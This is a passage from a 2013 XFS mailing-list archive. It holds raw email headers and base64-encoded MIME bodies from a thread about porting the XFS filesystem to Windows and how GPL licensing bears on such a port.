IFdpbmRvd3MgaW4gdGhhdCBzeXN0ZW0sIGJ1dCBpdOKAmXMganVzdCBhbm90aGVyIHRpZGJpdCB0 byBub3RlIOKAnHllcywgdGhpcyB0eXBlIG9mIHN5c3RlbSBzaG91bGQgYmUgcG9zc2libGXigJ0u DQoNCkFzIGZhciBhcyBsaWNlbnNpbmcsIEnigJltIGNlcnRhaW5seSBubyBleHBlcnQsIGJ1dCBB RkFJSyBpdCBzaG91bGQgYmUgcG9zc2libGUgdG8gdXNlIHRoZSBzYW1lIEdQTCBsaWNlbnNlIGFz IHlvdSBub3RlIGFuZCBtYWtlIGFuIG9wZW4tc291cmNlIFdpbmRvd3MgZHJpdmVyIGZvciB0aGlz IHVzaW5nIGFzIG11Y2ggb2YgdGhlIGN1cnJlbnQgWEZTIGNvZGUgYXMgaXMgY29udmVuaWVudC4g VGhlcmUgYXJlIG51YW5jZXMgaW4gdGhlIGxpY2Vuc2UgdGhvdWdoLiBJIGNhbiB0cnkgdG8gZmlu ZCB0aGUgYXJ0aWNsZSBpZiB5b3XigJlyZSBpbnRlcmVzdGVkOiBJIHJlYWQgYSBwb3N0IHByZXZp b3VzbHkgYnkgc29tZW9uZSB3aG8gaGFkIGRldmVsb3BlZCBhIEdQTCBkcml2ZXIgb24gV2luZG93 cyBhbmQgd2FzIG5vdGluZyBjb25jZXJucyBhYm91dCBsaW5raW5nIGFnYWluc3QgY2xvc2VkIHNv dXJjZSBsaWJyYXJpZXMgKGVzc2VudGlhbGx5IGRlY2lkZWQgaXQgd2FzIG9rYXkgYmVjYXVzZSBp dCAoYSkgY291bGQgYmUgY29uc2lkZXJlZCBhIHN5c3RlbSBsaWJyYXJ5IGFuZCAoYikgdGhleSB3 ZXJlIHN0YXJ0aW5nIGEgZnJlc2ggcHJvamVjdCBzbyB0aGV5IGNvdWxkIGFkZCBleHRyYSBleGVt cHRpb25zIHNwZWNpZmljYWxseSBhbGxvd2luZyB0aGF0KS4NCg0KSSBhbSBhIG5vdmljZSBhdCBY RlMgYW5kLCBmcmFua2x5LCBhdCBXaW5kb3dzIGtlcm5lbCBkZXZpY2UgZGV2ZWxvcG1lbnQgYXMg d2VsbC4gQnV0IEnigJltIGNlcnRhaW5seSBpbnRlcmVzdGVkIGluIHNlZWluZyBhIEdQTCBYRlMt b24tV2luZG93cyBkZXZlbG9wZWQgYXQgc29tZSBwb2ludC4gSWYgeW91IGdvIGFoZWFkIHdpdGgg dGhpcywgSeKAmWQgZGVmaW5pdGVseSBhcHByZWNpYXRlIGFueSBpbmZvcm1hdGlvbiBhbmQgd291 bGQgYmUgZ2xhZCB0byBhc3Npc3QgaW4gYW55IHdheSBJIGNhbi4gQW5kIG15c2VsZiBwZXJzb25h bGx5LCBJ4oCZZCBhYnNvbHV0ZWx5IGFwcHJlY2lhdGUgc29tZW9uZSBlbHNlIHRha2luZyB0aGUg bGVhZCBvbiB0aGlzLCBiZWNhdXNlIHdpdGggb3RoZXIgaXNzdWVzIEnigJltIHdvcmtpbmcgb24s IEkgd291bGQgYmUgdW5saWtlbHkgdG8gcHV0IHNlcmlvdXMgc29sbyBlZmZvcnQgaW50byB0aGlz IGFueXRpbWUgc29vbi4NCg0KQ2hlZXJzLA0KLVNoYXVuIEdvc3NlDQpDWEZTIFdpbmRvd3MNClNH SQ0KDQpGcm9tOiB4ZnMtYm91bmNlc0Bvc3Muc2dpLmNvbSBbbWFpbHRvOnhmcy1ib3VuY2VzQG9z cy5zZ2kuY29tXSBPbiBCZWhhbGYgT2YgWXVqaSBTYWVraQ0KU2VudDogU3VuZGF5LCBEZWNlbWJl ciAwOCwgMjAxMyA1OjI1IFBNDQpUbzogeGZzQG9zcy5zZ2kuY29tDQpTdWJqZWN0OiBYRlMuLi5X aW5kb3dzPw0KDQpDb25ncmF0dWxhdGlvbnMgb24geW91ciBmaWxlIHN5c3RlbSwgaXTigJlzIHF1 aXRlIG5pY2UuIEnigJl2ZSBiZW5jaG1hcmtlZCBpdCBteXNlbGYsIGl04oCZcyB2ZXJ5IGltcHJl c3NpdmUuIEnigJltIGN1cmlvdXMgdGhvdWdoLCBpcyB0aGVyZSBhcmUgdGhvdWdodCB0byBhIFdp bmRvd3MgZHJpdmVyPyBJZiBzb21lb25lIHBvcnRlZCB0aGUgbW9zdCBjdXJyZW50LXN0YWJsZSB2 ZXJzaW9uIHRvIFdpbmRvd3MgKGZyZWUpIHVuZGVyIHRoZSBzYW1lIGxpY2Vuc2Ug4oCYR05VIExl c3NlciBHZW5lcmFsIFB1YmxpYyBMaWNlbnNl4oCZIHdpdGggZW50aXJlIGNyZWRpdCB0byBYRlMs IHdvdWxkIFNHSSBiZSBva2F5IHdpdGggdGhhdD8gQSDigJhuby13YXJyYW50eSBpbXBsaWVk4oCZ IChldGMpIGtpbmQgb2YgcHJvdGVjdGlvbiBvZiBjb3Vyc2UuIFF1aXRlIGEgZmV3IGRldnMgdGhh dCBJIHdvcmsgd2l0aCBlbmpveSB0aGUgWEZTIGZpbGVzeXN0ZW0gYW5kIHdlIGRldiBpbiBib3Ro IExpbnV4IGFuZCBXaW5kb3dzLiBXZeKAmXJlIHZlcnkgaW50ZXJlc3RlZCBpbiBtYWtpbmcgdGhp cyBoYXBwZW4gd2l0aCByZXNwZWN0IHRvIHRoZSBYRlMgcHJvamVjdC4NCg== --_000_8D3FA7645C1CFC4E9E783D22B4C708644A595EPEXMB2DC21corpsgi_ Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: base64 PGh0bWwgeG1sbnM6dj0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTp2bWwiIHhtbG5zOm89InVy bjpzY2hlbWFzLW1pY3Jvc29mdC1jb206b2ZmaWNlOm9mZmljZSIgeG1sbnM6dz0idXJuOnNjaGVt YXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6d29yZCIgeG1sbnM6bT0iaHR0cDovL3NjaGVtYXMubWlj cm9zb2Z0LmNvbS9vZmZpY2UvMjAwNC8xMi9vbW1sIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv VFIvUkVDLWh0bWw0MCI+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIg Y29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ij4NCjxtZXRhIG5hbWU9IkdlbmVyYXRv ciIgY29udGVudD0iTWljcm9zb2Z0IFdvcmQgMTQgKGZpbHRlcmVkIG1lZGl1bSkiPg0KPHN0eWxl PjwhLS0NCi8qIEZvbnQgRGVmaW5pdGlvbnMgKi8NCkBmb250LWZhY2UNCgl7Zm9udC1mYW1pbHk6 V2luZ2RpbmdzOw0KCXBhbm9zZS0xOjUgMCAwIDAgMCAwIDAgMCAwIDA7fQ0KQGZvbnQtZmFjZQ0K CXtmb250LWZhbWlseTpXaW5nZGluZ3M7DQoJcGFub3NlLTE6NSAwIDAgMCAwIDAgMCAwIDAgMDt9 DQpAZm9udC1mYWNlDQoJe2ZvbnQtZmFtaWx5OkNhbGlicmk7DQoJcGFub3NlLTE6MiAxNSA1IDIg MiAyIDQgMyAyIDQ7fQ0KQGZvbnQtZmFjZQ0KCXtmb250LWZhbWlseTpUYWhvbWE7DQoJcGFub3Nl LTE6MiAxMSA2IDQgMyA1IDQgNCAyIDQ7fQ0KLyogU3R5bGUgRGVmaW5pdGlvbnMgKi8NCnAuTXNv Tm9ybWFsLCBsaS5Nc29Ob3JtYWwsIGRpdi5Nc29Ob3JtYWwNCgl7bWFyZ2luOjBpbjsNCgltYXJn aW4tYm90dG9tOi4wMDAxcHQ7DQoJZm9udC1zaXplOjExLjBwdDsNCglmb250LWZhbWlseToiQ2Fs aWJyaSIsInNhbnMtc2VyaWYiO30NCmE6bGluaywgc3Bhbi5Nc29IeXBlcmxpbmsNCgl7bXNvLXN0 eWxlLXByaW9yaXR5Ojk5Ow0KCWNvbG9yOiMwNTYzQzE7DQoJdGV4dC1kZWNvcmF0aW9uOnVuZGVy bGluZTt9DQphOnZpc2l0ZWQsIHNwYW4uTXNvSHlwZXJsaW5rRm9sbG93ZWQNCgl7bXNvLXN0eWxl LXByaW9yaXR5Ojk5Ow0KCWNvbG9yOiM5NTRGNzI7DQoJdGV4dC1kZWNvcmF0aW9uOnVuZGVybGlu ZTt9DQpzcGFuLkVtYWlsU3R5bGUxNw0KCXttc28tc3R5bGUtdHlwZTpwZXJzb25hbDsNCglmb250 LWZhbWlseToiQ2FsaWJyaSIsInNhbnMtc2VyaWYiOw0KCWNvbG9yOndpbmRvd3RleHQ7fQ0Kc3Bh bi5FbWFpbFN0eWxlMTgNCgl7bXNvLXN0eWxlLXR5cGU6cGVyc29uYWwtcmVwbHk7DQoJZm9udC1m YW1pbHk6IkNhbGlicmkiLCJzYW5zLXNlcmlmIjsNCgljb2xvcjojMUY0OTdEO30NCi5Nc29DaHBE ZWZhdWx0DQoJe21zby1zdHlsZS10eXBlOmV4cG9ydC1vbmx5Ow0KCWZvbnQtc2l6ZToxMC4wcHQ7 fQ0KQHBhZ2UgV29yZFNlY3Rpb24xDQoJe3NpemU6OC41aW4gMTEuMGluOw0KCW1hcmdpbjoxLjBp biAxLjBpbiAxLjBpbiAxLjBpbjt9DQpkaXYuV29yZFNlY3Rpb24xDQoJe3BhZ2U6V29yZFNlY3Rp b24xO30NCi0tPjwvc3R5bGU+PCEtLVtpZiBndGUgbXNvIDldPjx4bWw+DQo8bzpzaGFwZWRlZmF1 bHRzIHY6ZXh0PSJlZGl0IiBzcGlkbWF4PSIxMDI2IiAvPg0KPC94bWw+PCFbZW5kaWZdLS0+PCEt LVtpZiBndGUgbXNvIDldPjx4bWw+DQo8bzpzaGFwZWxheW91dCB2OmV4dD0iZWRpdCI+DQo8bzpp ZG1hcCB2OmV4dD0iZWRpdCIgZGF0YT0iMSIgLz4NCjwvbzpzaGFwZWxheW91dD48L3htbD48IVtl bmRpZl0tLT4NCjwvaGVhZD4NCjxib2R5IGxhbmc9IkVOLVVTIiBsaW5rPSIjMDU2M0MxIiB2bGlu az0iIzk1NEY3MiI+DQo8ZGl2IGNsYXNzPSJXb3JkU2VjdGlvbjEiPg0KPHAgY2xhc3M9Ik1zb05v cm1hbCI+PHNwYW4gc3R5bGU9ImNvbG9yOiMxRjQ5N0QiPldlbGzigKZhdCB0aGUgcmlzayBvZiBq dW1waW5nIGludG8gc29tZXRoaW5nIGhlcmU6PG86cD48L286cD48L3NwYW4+PC9wPg0KPHAgY2xh c3M9Ik1zb05vcm1hbCI+PHNwYW4gc3R5bGU9ImNvbG9yOiMxRjQ5N0QiPjxvOnA+Jm5ic3A7PC9v OnA+PC9zcGFuPjwvcD4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiPjxzcGFuIHN0eWxlPSJjb2xvcjoj MUY0OTdEIj7igJx3b3VsZCBTR0kgYmUgb2theSB3aXRoIHRoYXTigJ06IGtlZXAgaW4gbWluZCB0 aGlzIGEgY29tbXVuaXR5IHByb2plY3QuIFRoZXJlIGFyZSBjb250cmlidXRvcnMgdG8gWEZTIGhl cmUgYXQgU0dJLiBUaGVyZSBpcyBhbHNvIGEgbG90IG9mIHdvcmsgZG9uZSBieSBlbXBsb3llZXMg b2YgUmVkaGF0IGFzIHdlbGwgYXMgb3RoZXIgY29tcGFuaWVzIChhbmQgYSBmZXcgZnJlZWxhbmNl DQogLyBwZW9wbGUgaW50ZXJlc3RlZCByZWdhcmRsZXNzIG9mIGN1cnJlbnQgcG9zaXRpb24pLiBB bnlob3csIGp1c3QgYSBxdWliYmxlIHRvIG5vdGUgdGhhdCBpdOKAmXMgbm90IGEgcXVlc3Rpb24g b2Ygd2hhdCBTR0kgZGljdGF0ZXMuIEFsdGhvdWdoIEkgd2lsbCBub3RlIHRoYXQgSeKAmXZlIGFj dHVhbGx5IHJhaXNlZCB0aGUgaWRlYSBvZiBYRlMgb24gV2luZG93cyBpbnRlcm5hbGx5IChoZXJl IGF0IFNHSSkgYW5kIHdoaWxlIGl04oCZcyBub3QgYSBwcmlvcml0eQ0KIEkgd291bGQgc2F5IHRo ZXJl4oCZcyBhdCBsZWFzdCBzb21lIGludGVyZXN0LiBBdCB0aGUgbGVhc3QsIGlmIHlvdSBidWls ZCBpdCwgd2XigJlsbCBjZXJ0YWlubHkgdGFrZSBhIGxvb2sgYXQgaXQuDQo8L3NwYW4+PHNwYW4g c3R5bGU9ImZvbnQtZmFtaWx5OldpbmdkaW5ncztjb2xvcjojMUY0OTdEIj5KPC9zcGFuPjxzcGFu IHN0eWxlPSJjb2xvcjojMUY0OTdEIj48bzpwPjwvbzpwPjwvc3Bhbj48L3A+DQo8cCBjbGFzcz0i TXNvTm9ybWFsIj48c3BhbiBzdHlsZT0iY29sb3I6IzFGNDk3RCI+PG86cD4mbmJzcDs8L286cD48 L3NwYW4+PC9wPg0KPHAgY2xhc3M9Ik1zb05vcm1hbCI+PHNwYW4gc3R5bGU9ImNvbG9yOiMxRjQ5 N0QiPkkgc2F3IGFuIGVtYWlsIGEgd2hpbGUgYmFjayBvbiB0aGlzIGxpc3QgdGhhdCBpbXBsaWVk IHNvbWVvbmUgd2FzIHRyeWluZyB0byB3b3JrIG9uIHRoYXQgaWlyYzsgSSBkaWRu4oCZdCBzZWUg YW55IGZvbGxvdy11cCBmcm9tIGl0LiBUaGVyZSBhcmUgYWxzbyBzb21lIHByb2plY3RzIHRoYXQg bG9vayBhYmFuZG9uZWQgd2hpY2ggdHJpZWQgdG8gZG8gdGhpcyBJIHJlY2FsbA0KIGZyb20gcHJl dmlvdXMgc2VhcmNoZXMgb24gdGhpcy48bzpwPjwvbzpwPjwvc3Bhbj48L3A+DQo8cCBjbGFzcz0i TXNvTm9ybWFsIj48c3BhbiBzdHlsZT0iY29sb3I6IzFGNDk3RCI+PG86cD4mbmJzcDs8L286cD48 L3NwYW4+PC9wPg0KPHAgY2xhc3M9Ik1zb05vcm1hbCI+PHNwYW4gc3R5bGU9ImNvbG9yOiMxRjQ5 N0QiPk9uZSBvZiB0aGUgc3VnZ2VzdGlvbnMgSSBoZWFyZCB3aGVuIEkgd2FzIGNvbnNpZGVyaW5n IHRoaXMgd2FzIHRvIGxvb2sgYXQgaG93IHRoZSBleHQgcG9ydCBvbiBXaW5kb3dzIHdvcmtzLiBU aGF0IGxvb2tzIG1pbGRseSBpbmFjdGl2ZSBpdHNlbGYgYnV0IHNob3VsZCBiZSBnb29kIGZvciBj b21wYXJpc29uLjxvOnA+PC9vOnA+PC9zcGFuPjwvcD4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiPjxz cGFuIHN0eWxlPSJjb2xvcjojMUY0OTdEIj48bzpwPiZuYnNwOzwvbzpwPjwvc3Bhbj48L3A+DQo8 cCBjbGFzcz0iTXNvTm9ybWFsIj48c3BhbiBzdHlsZT0iY29sb3I6IzFGNDk3RCI+SW50ZXJuYWxs eSwgU0dJIGhhcyBhIHByb3ByaWV0YXJ5IHN5c3RlbSwgQ1hGUywgd2hpY2ggZG9lcyBjbHVzdGVy ZWQgWEZTIGluY2x1ZGluZyBXaW5kb3dzIGFzIGNsaWVudCBub2Rlcy4gU28gd2XigJl2ZSBnb3Qg Y29kZSB0aGF0IGFjdHVhbGx5IGRvZXMgWEZTIGRhdGEgd3JpdGVzIGZyb20gV2luZG93cyBub2Rl cy4gT2YgY291cnNlLCB0aGUgdHJpY2t5IGJpdCBpcw0KIG1hbmFnaW5nIGFsbCBvZiB0aGUgbWV0 YWRhdGEvbG9nZ2luZywgd2hpY2ggaXNu4oCZdCB0b3VjaGVkIGZyb20gV2luZG93cyBpbiB0aGF0 IHN5c3RlbSwgYnV0IGl04oCZcyBqdXN0IGFub3RoZXIgdGlkYml0IHRvIG5vdGUg4oCceWVzLCB0 aGlzIHR5cGUgb2Ygc3lzdGVtIHNob3VsZCBiZSBwb3NzaWJsZeKAnS48bzpwPjwvbzpwPjwvc3Bh bj48L3A+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIj48c3BhbiBzdHlsZT0iY29sb3I6IzFGNDk3RCI+ PG86cD4mbmJzcDs8L286cD48L3NwYW4+PC9wPg0KPHAgY2xhc3M9Ik1zb05vcm1hbCI+PHNwYW4g c3R5bGU9ImNvbG9yOiMxRjQ5N0QiPkFzIGZhciBhcyBsaWNlbnNpbmcsIEnigJltIGNlcnRhaW5s eSBubyBleHBlcnQsIGJ1dCBBRkFJSyBpdCBzaG91bGQgYmUgcG9zc2libGUgdG8gdXNlIHRoZSBz YW1lIEdQTCBsaWNlbnNlIGFzIHlvdSBub3RlIGFuZCBtYWtlIGFuIG9wZW4tc291cmNlIFdpbmRv d3MgZHJpdmVyIGZvciB0aGlzIHVzaW5nIGFzIG11Y2ggb2YgdGhlIGN1cnJlbnQgWEZTIGNvZGUg YXMgaXMNCiBjb252ZW5pZW50LiBUaGVyZSA8aT5hcmU8L2k+IG51YW5jZXMgaW4gdGhlIGxpY2Vu c2UgdGhvdWdoLiBJIGNhbiB0cnkgdG8gZmluZCB0aGUgYXJ0aWNsZSBpZiB5b3XigJlyZSBpbnRl cmVzdGVkOiBJIHJlYWQgYSBwb3N0IHByZXZpb3VzbHkgYnkgc29tZW9uZSB3aG8gaGFkIGRldmVs b3BlZCBhIEdQTCBkcml2ZXIgb24gV2luZG93cyBhbmQgd2FzIG5vdGluZyBjb25jZXJucyBhYm91 dCBsaW5raW5nIGFnYWluc3QgY2xvc2VkIHNvdXJjZSBsaWJyYXJpZXMNCiAoZXNzZW50aWFsbHkg ZGVjaWRlZCBpdCB3YXMgb2theSBiZWNhdXNlIGl0IChhKSBjb3VsZCBiZSBjb25zaWRlcmVkIGEg c3lzdGVtIGxpYnJhcnkgYW5kIChiKSB0aGV5IHdlcmUgc3RhcnRpbmcgYSBmcmVzaCBwcm9qZWN0 IHNvIHRoZXkgY291bGQgYWRkIGV4dHJhIGV4ZW1wdGlvbnMgc3BlY2lmaWNhbGx5IGFsbG93aW5n IHRoYXQpLjxvOnA+PC9vOnA+PC9zcGFuPjwvcD4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiPjxzcGFu IHN0eWxlPSJjb2xvcjojMUY0OTdEIj48bzpwPiZuYnNwOzwvbzpwPjwvc3Bhbj48L3A+DQo8cCBj bGFzcz0iTXNvTm9ybWFsIj48c3BhbiBzdHlsZT0iY29sb3I6IzFGNDk3RCI+SSBhbSBhIG5vdmlj ZSBhdCBYRlMgYW5kLCBmcmFua2x5LCBhdCBXaW5kb3dzIGtlcm5lbCBkZXZpY2UgZGV2ZWxvcG1l bnQgYXMgd2VsbC4gQnV0IEnigJltIGNlcnRhaW5seSBpbnRlcmVzdGVkIGluIHNlZWluZyBhIEdQ TCBYRlMtb24tV2luZG93cyBkZXZlbG9wZWQgYXQgc29tZSBwb2ludC4gSWYgeW91IGdvIGFoZWFk IHdpdGggdGhpcywgSeKAmWQgZGVmaW5pdGVseQ0KIGFwcHJlY2lhdGUgYW55IGluZm9ybWF0aW9u IGFuZCB3b3VsZCBiZSBnbGFkIHRvIGFzc2lzdCBpbiBhbnkgd2F5IEkgY2FuLiBBbmQgbXlzZWxm IHBlcnNvbmFsbHksIEnigJlkIGFic29sdXRlbHkgYXBwcmVjaWF0ZSBzb21lb25lIGVsc2UgdGFr aW5nIHRoZSBsZWFkIG9uIHRoaXMsIGJlY2F1c2Ugd2l0aCBvdGhlciBpc3N1ZXMgSeKAmW0gd29y a2luZyBvbiwgSSB3b3VsZCBiZSB1bmxpa2VseSB0byBwdXQgc2VyaW91cyBzb2xvIGVmZm9ydCBp bnRvIHRoaXMNCiBhbnl0aW1lIHNvb24uPG86cD48L286cD48L3NwYW4+PC9wPg0KPHAgY2xhc3M9 Ik1zb05vcm1hbCI+PHNwYW4gc3R5bGU9ImNvbG9yOiMxRjQ5N0QiPjxvOnA+Jm5ic3A7PC9vOnA+ PC9zcGFuPjwvcD4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiPjxzcGFuIHN0eWxlPSJjb2xvcjojMUY0 OTdEIj5DaGVlcnMsPG86cD48L286cD48L3NwYW4+PC9wPg0KPHAgY2xhc3M9Ik1zb05vcm1hbCI+ PHNwYW4gc3R5bGU9ImNvbG9yOiMxRjQ5N0QiPi1TaGF1biBHb3NzZTxvOnA+PC9vOnA+PC9zcGFu PjwvcD4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiPjxzcGFuIHN0eWxlPSJjb2xvcjojMUY0OTdEIj5D WEZTIFdpbmRvd3M8bzpwPjwvbzpwPjwvc3Bhbj48L3A+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIj48 c3BhbiBzdHlsZT0iY29sb3I6IzFGNDk3RCI+U0dJPG86cD48L286cD48L3NwYW4+PC9wPg0KPHAg Y2xhc3M9Ik1zb05vcm1hbCI+PHNwYW4gc3R5bGU9ImNvbG9yOiMxRjQ5N0QiPjxvOnA+Jm5ic3A7 PC9vOnA+PC9zcGFuPjwvcD4NCjxkaXY+DQo8ZGl2IHN0eWxlPSJib3JkZXI6bm9uZTtib3JkZXIt dG9wOnNvbGlkICNCNUM0REYgMS4wcHQ7cGFkZGluZzozLjBwdCAwaW4gMGluIDBpbiI+DQo8cCBj bGFzcz0iTXNvTm9ybWFsIj48Yj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjEwLjBwdDtmb250LWZh bWlseTomcXVvdDtUYWhvbWEmcXVvdDssJnF1b3Q7c2Fucy1zZXJpZiZxdW90OyI+RnJvbTo8L3Nw YW4+PC9iPjxzcGFuIHN0eWxlPSJmb250LXNpemU6MTAuMHB0O2ZvbnQtZmFtaWx5OiZxdW90O1Rh aG9tYSZxdW90OywmcXVvdDtzYW5zLXNlcmlmJnF1b3Q7Ij4geGZzLWJvdW5jZXNAb3NzLnNnaS5j b20gW21haWx0bzp4ZnMtYm91bmNlc0Bvc3Muc2dpLmNvbV0NCjxiPk9uIEJlaGFsZiBPZiA8L2I+ WXVqaSBTYWVraTxicj4NCjxiPlNlbnQ6PC9iPiBTdW5kYXksIERlY2VtYmVyIDA4LCAyMDEzIDU6 MjUgUE08YnI+DQo8Yj5Ubzo8L2I+IHhmc0Bvc3Muc2dpLmNvbTxicj4NCjxiPlN1YmplY3Q6PC9i PiBYRlMuLi5XaW5kb3dzPzxvOnA+PC9vOnA+PC9zcGFuPjwvcD4NCjwvZGl2Pg0KPC9kaXY+DQo8 cCBjbGFzcz0iTXNvTm9ybWFsIj48bzpwPiZuYnNwOzwvbzpwPjwvcD4NCjxwIGNsYXNzPSJNc29O b3JtYWwiPkNvbmdyYXR1bGF0aW9ucyBvbiB5b3VyIGZpbGUgc3lzdGVtLCBpdOKAmXMgcXVpdGUg bmljZS4gSeKAmXZlIGJlbmNobWFya2VkIGl0IG15c2VsZiwgaXTigJlzIHZlcnkgaW1wcmVzc2l2 ZS4gSeKAmW0gY3VyaW91cyB0aG91Z2gsIGlzIHRoZXJlIGFyZSB0aG91Z2h0IHRvIGEgV2luZG93 cyBkcml2ZXI/IElmIHNvbWVvbmUgcG9ydGVkIHRoZSBtb3N0IGN1cnJlbnQtc3RhYmxlIHZlcnNp b24gdG8gV2luZG93cyAoZnJlZSkgdW5kZXINCiB0aGUgc2FtZSBsaWNlbnNlIOKAmEdOVSBMZXNz ZXIgR2VuZXJhbCBQdWJsaWMgTGljZW5zZeKAmSB3aXRoIGVudGlyZSBjcmVkaXQgdG8gWEZTLCB3 b3VsZCBTR0kgYmUgb2theSB3aXRoIHRoYXQ/IEEg4oCYbm8td2FycmFudHkgaW1wbGllZOKAmSAo ZXRjKSBraW5kIG9mIHByb3RlY3Rpb24gb2YgY291cnNlLiBRdWl0ZSBhIGZldyBkZXZzIHRoYXQg SSB3b3JrIHdpdGggZW5qb3kgdGhlIFhGUyBmaWxlc3lzdGVtIGFuZCB3ZSBkZXYgaW4gYm90aCBM aW51eCBhbmQNCiBXaW5kb3dzLiBXZeKAmXJlIHZlcnkgaW50ZXJlc3RlZCBpbiBtYWtpbmcgdGhp cyBoYXBwZW4gd2l0aCByZXNwZWN0IHRvIHRoZSBYRlMgcHJvamVjdC48bzpwPjwvbzpwPjwvcD4N CjwvZGl2Pg0KPC9ib2R5Pg0KPC9odG1sPg0K --_000_8D3FA7645C1CFC4E9E783D22B4C708644A595EPEXMB2DC21corpsgi_-- From sandeen@sandeen.net Mon Dec 9 10:39:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7792E7F6A for ; Mon, 9 Dec 2013 10:39:42 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4FE97304032 for ; Mon, 9 Dec 2013 08:39:42 -0800 (PST) X-ASG-Debug-ID: 1386607180-04bdf0132114aad0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 5nij3PXjH75KdHZc for ; Mon, 09 Dec 2013 08:39:40 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 4452E6891941; Mon, 9 Dec 2013 10:39:40 -0600 (CST) Message-ID: <52A5F249.1060505@sandeen.net> Date: Mon, 09 Dec 2013 10:39:37 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.1.1 MIME-Version: 1.0 To: Yuji Saeki , xfs@oss.sgi.com Subject: Re: XFS...Windows? References: <000001cef46c$ab687cc0$02397640$@mail.com> X-ASG-Orig-Subj: Re: XFS...Windows? In-Reply-To: <000001cef46c$ab687cc0$02397640$@mail.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 8bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1386607180 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142962 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/8/13, 5:24 PM, Yuji Saeki wrote: > Congratulations on your file system, its quite nice. Ive > benchmarked it myself, its very impressive. Im curious though, is > there are thought to a Windows driver? If someone ported the most > current-stable version to Windows (free) under the same license GNU > Lesser General Public License with entire credit to XFS XFS isn't under the LGPL, it's GPL, as is the rest of the kernel code, and the license terms should be quite clear. > would SGI > be okay with that? A no-warranty implied (etc) kind of protection > of course. Quite a few devs that I work with enjoy the XFS filesystem > and we dev in both Linux and Windows. Were very interested in making > this happen with respect to the XFS project. I'm not a lawyer, but it's not really an issue of opinion - it's a legal matter. If you can port XFS to Windows while maintaining the terms of the license agreements on both ends, you're free to do so. The technical difficulty of such a task is another matter as well. :) -Eric From jra@baylink.com Mon Dec 9 10:42:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 847457F67 for ; Mon, 9 Dec 2013 10:42:22 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6BE068F8040 for ; Mon, 9 Dec 2013 08:42:22 -0800 (PST) X-ASG-Debug-ID: 1386607339-04cb6c537b641590001-NocioJ Received: from benjamin.baylink.com (rrcs-24-129-180-187.se.biz.rr.com [24.129.180.187]) by cuda.sgi.com with ESMTP id GaScTyoZUkmk6FeV for ; Mon, 09 Dec 2013 08:42:20 -0800 (PST) X-Barracuda-Envelope-From: jra@baylink.com X-Barracuda-Apparent-Source-IP: 24.129.180.187 Received: from localhost (localhost.localdomain [127.0.0.1]) by benjamin.baylink.com (Postfix) with ESMTP id 2E3161F00120 for ; Mon, 9 Dec 2013 11:42:19 -0500 (EST) X-Virus-Scanned: amavisd-new at benjamin.baylink.com Received: from benjamin.baylink.com ([127.0.0.1]) by localhost (benjamin.baylink.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id wSu-IMpr8nkA for ; Mon, 9 Dec 2013 11:42:14 -0500 (EST) Received: from benjamin.baylink.com (benjamin.baylink.com [192.168.253.10]) by benjamin.baylink.com (Postfix) with ESMTP id AD9751F0011F for ; Mon, 9 Dec 2013 11:42:14 -0500 (EST) Date: Mon, 9 Dec 2013 11:42:14 -0500 (EST) From: Jay Ashworth To: xfs Message-ID: <31871244.254.1386607334674.JavaMail.root@benjamin.baylink.com> In-Reply-To: <8D3FA7645C1CFC4E9E783D22B4C708644A595E@P-EXMB2-DC21.corp.sgi.com> Subject: Re: XFS...Windows? MIME-Version: 1.0 X-ASG-Orig-Subj: 